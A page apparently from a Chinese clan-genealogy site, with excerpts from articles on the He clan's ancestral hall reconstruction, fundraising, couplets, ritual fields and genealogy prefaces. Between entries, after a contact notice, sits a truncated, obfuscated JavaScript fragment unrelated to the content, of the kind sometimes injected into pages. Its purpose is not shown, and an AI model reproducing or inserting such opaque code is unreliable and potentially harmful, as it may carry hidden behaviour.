118要发要发大开谱局 何正回撰 本章析评谱祠史料，基本按时间顺序。以前多次重修续修，都没有提到祠堂如何。其实修谱领谱场地多在宗祠进行，过去祠堂是存在的，不过没有记载而已，所以也就无从查考。 这次呢，重建祠堂在前，记载内容也多。祠堂基本建成后，就提议重开谱局，一并庆祝。关于谱局的说法，估计是个专人负责藏谱修谱的组织。前几节讲了重建祠堂内容，下面继续写修谱的事。先看原谱所载的序，再作析评。  [1818年]重修南湖何氏宗谱序 族议修谱，族长汝邦公、兆发公、高地叔、发裔叔、茂材叔、圣南弟、圣在 ......[点击阅读详情]

117宗祠祀田谱局常田 何正回撰 《南湖何氏宗谱》卷1后面，以相当多的篇幅列出有关各级祖先的祀田——也就是所谓常余田。其中关系整个宗族的，就是第4世万十三公何恪。 老家土地面积计算有两种，一种是亩、分，另一种是石、斗。1亩照标准算是667平方米，1分是67平方米。石和斗呢，开头大约是以应交纳的钱粮吧，村民一般以4-5斗为1亩，现以4斗=1亩计，则1石=10斗=2.5亩。所以1斗=167平方米，1石=1670平方米。 何恪卒于1172年，祭祀田未知起于那年。但请注意图中有“捐祭祀田”的“捐”字，我分析是某派某人无偿提供的，目的 ......[点击阅读详情]

116祠联祝文各显文采 何正回撰 我依稀记得，童年在何氏宗祠内香山小学读书时，厅堂高大，上面挂着许多匾额。屋柱多石质方形，上刻楹联。至于内容，完全忘却。今读祖谱，里面竟然都记载着。 现对若干副联句析评如下。 由邰室至镐京分封邘晋应韩远宗一本 自庐江来婺郡散处金东义永近族连枝 邰，尧封周族始祖后稷于邰，即今陕西武功。镐京，今西安附近，西周都城。邘，音yi,古国名，今河南沁县西北。上联说我们祖先，最早由尧帝到周王室，再分封到邘、晋、应、韩，是遥远的同宗。下联则讲得近一点，我们祖先从庐江郡迁来 ......[点击阅读详情]

115祠建雨台报耕庆丰 何正回撰 1816年，祠堂重建，一方面按田地户口进行摊派，另方面呼吁各方面捐款。东河有个名义上叫报耕会的组织，捐助雨台一座。事见如谱所载。 故乡农村流行婺剧，曲调有昆腔、滩簧、徽班等，其声高吭，其情诙谐，深得大众欢迎。农闲喜庆，常常邀请戏班来演出。安排演出者不卖票，并且盼望观众越多越好。那么演出经费那里来？往往是有闲人士募集而来。为了能够经常有经费，好事者就组织了一个会，将捐赠名单公布，把财务予以公开。如此经常，效果甚好，影响日广。报耕会就如此性质吧，定期演出 ......[点击阅读详情]

114募捐建祠再助义工 何正回撰 座落东河大村的何氏宗祠1816年完成了二进，摊派经费近2千两银子已经用完。要继续后面第三进的经费，再次摊派有困难，经商议决定募集，并号召大家出土工以节省开支，即所谓有钱出钱，有力出力也。1818年重修宗谱时，把重建祠堂当作重要内容刊出，置于首卷，其中摊派和募捐的经费及出土工的清单，都刊登于谱册，予以公示并有嘉奖之意。 插图：卷1-36、38、39 这里钱数用文计，我理解1千文相当于银1两吧。为统一起见，本文钱就用银两代替。 数字我编排于后，我把它分为两类。 一类是族内小 ......[点击阅读详情]

113建祠费用征集分析 何正回撰 建造大型祠堂，工程复杂，经费巨大，究竟如何筹集呢？谱里有份比较详细记录，我想拿出来研究一番。读者请先看部分谱照。 该记录首先提出按土地、人口、户口（即所谓锅灶）来征派的原则： 派于粮——每粮一两加倍。下注：七折钱，粮有土从重。 派于丁——每丁四钱。 派于灶——每灶三钱。下注：灶不齐从轻。 所谓派于粮，就是根据朝廷征收的“钱粮”，即土地税加上人口税合一的田赋折合为银数。清朝浙江可能每亩土地（水田旱地山地有别），平均0.5钱左右。1两银约能买米百多斤，相当于现在200 ......[点击阅读详情]

何天银，司字派，家住安徽省安庆市望江县长岭镇商业街十栋楼。 民国年间，有许多本族前辈流落他乡，如有和以下字派相近的宗亲，请与本人联系。 联系电话及微信：15324557908 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl' ......[点击阅读详情]

112宗祠重建庙貌辉增 何正回撰 谁无父母？谁无祖宗？懂道理的人，对年老上辈必定孝敬有加，亡故后又会深深思念。为了寄托对先人的哀思，远古以来就有祭祀。《说文》：春祭曰祠，品物少多文词也。渐渐祠演变为专门用于祭祠的特殊房屋，称为祠堂。 封建社会里，只要宗族稍微有能力，都建筑或大或小的祠堂。它既可用于祭祀，又是群众集体活动的场所。我宗族也不例外，早在16世纪就有了。但鉴于缺乏记载，今己无从查考。19世纪初，族内数千人出钱出力，将何氏宗祠重建。规模扩大了，装修隆重了，全族凝聚力也大为增强。 ......[点击阅读详情]

111嘉庆重修图文并茂 何正回撰 [1798年]重修宗谱序 本族宗谱葺修者屡矣，易俱远馆不获襄事。兹嘉庆戊午重修，祠长议易董理，奈年逾七旬，精力衰嬴，何堪胜此重任。力辞不赴，缘族内纂修情切，司剞劂者迫期待事，祠长欲以文集先镌，嘱易权加考订付渠刷印，其他图卷等项另议董理之人。情词恳挚，至再至三。易老眼昏花，事艰猝办。子发被舌耕他处，势难远涉分劳。适有前受业族孙名春生者，可以分任，乃与共阅从前文集，忝订之间有增减也仿旧也。但所见不无疏虞，尚望后之续修者，细加考核。若夫新旧系图，行传坟图常产以 ......[点击阅读详情]

110乾隆二修继醇效力 何正回撰 [1778年]修南湖宗谱序 戊戌岁家乘重修梓竣，族长者命继醇序。窃思冠冕套言，曷庸赘。即有关系要者，前人言之，又何言，亦就事言事而已。夫作庙者，落成之日，题其名曰某制，欲庇宇下者，不忘前人之功耳。如鲁人修闭宫，而咏奚斯是也。况修谱者以一人总之，且一人任之，曷不罗列某某，而各纪其事乎。 爰序之曰：是役也，聚族谋议，创始其事者恂字行孙永祄也。共襄厥成佐理其事者协字行孙成美[1709-1781，22世协176，东河二房]也。至厘订传序其缺疑正误搜补诗文者，协字行孙永易[即承易， ......[点击阅读详情]